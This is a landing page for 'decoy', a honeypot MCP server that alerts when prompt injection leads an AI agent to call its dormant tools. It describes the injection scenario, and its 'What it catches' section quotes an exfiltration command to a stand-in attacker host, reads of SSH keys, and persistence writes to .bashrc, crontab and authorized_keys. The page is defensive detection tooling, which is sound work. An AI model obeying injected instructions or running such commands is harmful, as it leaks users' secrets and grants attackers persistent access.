Know when your AI
gets compromised

Decoy MCP servers that detect prompt injection attacks on your AI agents. Add a tripwire in 30 seconds. Get alerts in real time.

Get started free
Terminal 
$ npx decoy-mcp init

  decoy — security tripwires for AI agents

  Email: you@company.com
  ✓ Created decoy endpoint
  ✓ Found Claude Desktop config
  ✓ Added system-tools MCP server
  ✓ Installed local decoy server

  Restart Claude Desktop. You're protected.
  Dashboard: https://decoy.run/dashboard?token=abc123
How it works
1. Deploy

Add one line to your config

The decoy appears as "system-tools" to your AI — alongside your real MCP servers. It exposes tools like execute_command and read_file.

2. Wait

In normal use, nothing happens

Your AI uses its real tools for real work. The decoy tools sit dormant. They're designed to attract attackers, not legitimate use.

3. Detect

Prompt injection trips the wire

A malicious document, email, or webpage injects instructions. Your AI tries to call execute_command. The decoy fires. You get a Slack alert with the full payload.

What it catches

Data exfiltration

Prompt injection that tells your AI to curl attacker.com -d @~/.env — the decoy catches the execute_command or http_request call and logs the target URL and payload.

Credential theft

Injected instructions to read_file("/home/user/.ssh/id_rsa") or get_environment_variables() — the decoy records exactly which secrets were targeted.

Persistence

Attempts to write_file to ~/.bashrc, crontab, or authorized_keys — the decoy flags persistence mechanisms before they execute.

Deploy a decoy

Enter your email. Get a decoy MCP endpoint. Free.

No credit card. No tracking. Just a tripwire.